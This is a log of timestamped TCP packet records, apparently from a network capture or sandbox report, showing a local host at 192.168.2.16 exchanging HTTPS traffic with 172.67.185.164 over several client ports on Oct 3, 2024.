Oct 3, 2024 18:19:49.365813017 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.394000053 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.394028902 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.410125971 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.411926985 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412010908 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412069082 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412075043 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.412106037 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412167072 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412198067 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.412231922 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412276983 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.412281036 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412292957 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412338018 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.412645102 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412707090 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412745953 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412753105 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.412771940 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412806988 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412828922 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.412841082 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.412892103 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.413630009 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.413744926 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.413794994 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.413953066 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.413980007 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.416865110 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.416894913 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.416977882 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.417123079 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.417135000 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423253059 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423325062 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.423352957 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423455954 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423511982 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.423525095 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423620939 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423753023 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423845053 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423845053 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.423907995 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.423949003 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.424031019 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.424083948 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.424097061 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.424190044 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.424246073 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.424257040 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.425148010 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.425224066 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.425235987 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.425328016 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.425380945 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.425394058 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.425487041 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.425542116 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.425551891 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.426356077 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.426429987 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.426440954 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.426533937 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.426584959 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.426595926 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.426846981 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.426902056 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.426912069 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.474021912 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.510499001 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.510658026 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.510721922 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.510727882 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.510756969 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.510802984 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.510824919 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.510946989 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.510965109 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.510998964 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.511014938 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.511034012 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.511224985 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.511295080 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.511539936 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.511554003 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.514523983 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.514605045 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.514698029 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.514867067 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.514892101 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.788670063 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.788996935 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.789030075 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.789500952 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.789545059 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.789796114 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.789874077 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.789937019 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.789947033 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.790062904 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.790613890 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.790851116 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.790915012 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.790920973 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.791084051 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.802378893 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.802609921 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.802654982 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.804100037 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.804193974 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.804431915 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.804519892 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.804527998 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.804675102 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.831401110 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.832603931 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.832775116 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.832786083 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.834177017 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.834264040 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.834462881 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.834527969 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.834547043 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.841986895 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.858006001 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.858015060 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.874799013 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.874838114 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.874845028 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.875051975 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.875067949 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.876497984 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.876568079 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.876832008 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.876892090 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.876969099 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.876975060 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.906035900 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.922012091 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.922103882 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.925806999 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.925865889 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.925904989 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.925911903 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.925920010 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.925981045 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.925981998 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.925997019 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.926033974 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.926039934 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.926229954 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.926275969 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.926281929 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.926358938 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.926405907 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.926412106 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.929109097 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.929166079 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.929203033 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.929214954 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.929224014 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.929260969 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.929265976 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.929322958 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.929362059 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.929790974 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.929807901 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.930814981 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.930862904 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.930870056 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.931351900 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.931413889 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.931479931 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.931858063 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.931870937 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.972611904 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.972908020 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.972990036 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.973390102 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.973409891 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.975610971 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.975652933 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.975728989 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.975939035 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.975956917 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.984996080 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.985861063 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.986047029 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.986078978 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.987780094 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.987854958 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.988106966 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.988189936 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.988214016 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.006932020 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.006995916 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007029057 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007041931 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.007055044 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007092953 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.007110119 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007170916 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007205963 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007220030 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.007226944 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007271051 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.007283926 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007594109 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007635117 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.007641077 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007651091 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.007689953 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.008270025 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.008339882 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.008380890 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.008384943 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.008395910 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.008431911 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.008443117 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.008955956 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.008994102 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.009001970 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.009047031 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.009083986 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.009084940 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.009097099 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.009133101 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.009764910 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012001991 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012254953 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012447119 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012492895 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.012501001 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012672901 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012715101 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.012721062 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012815952 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.012856960 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.012862921 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013132095 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013180971 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.013189077 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013314009 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013365984 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.013371944 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013459921 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013506889 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.013513088 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013664961 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.013709068 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.013778925 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.013788939 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.016141891 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.016171932 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.016238928 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.016443968 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.016459942 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.031397104 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.032021046 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.032028913 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.064003944 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.064008951 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.080001116 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.097738028 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.097893953 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.097948074 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.097964048 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098046064 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098082066 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.098088026 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098136902 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098174095 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.098179102 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098848104 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098885059 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098896980 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.098902941 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.098937035 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.099479914 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099600077 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099647045 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099666119 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099680901 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099692106 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.099699974 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099721909 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.099737883 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099739075 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.099746943 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099817038 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099827051 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099863052 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.099868059 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.099889994 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.099899054 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100334883 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100368977 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100375891 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.100383997 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100425005 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.100610971 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100651026 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100661039 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.100667953 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100698948 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.100766897 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100790977 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100867033 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100903034 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100914955 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.100922108 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100960970 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.100975990 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.100982904 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.101025105 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.101521015 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.101593971 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.101632118 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.101634026 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.101645947 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.101682901 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.101695061 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.102579117 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.102626085 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.102627039 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.102638006 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.102677107 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.102683067 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.119539976 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.119663000 CEST	443	49828	172.67.185.164	192.168.2.16
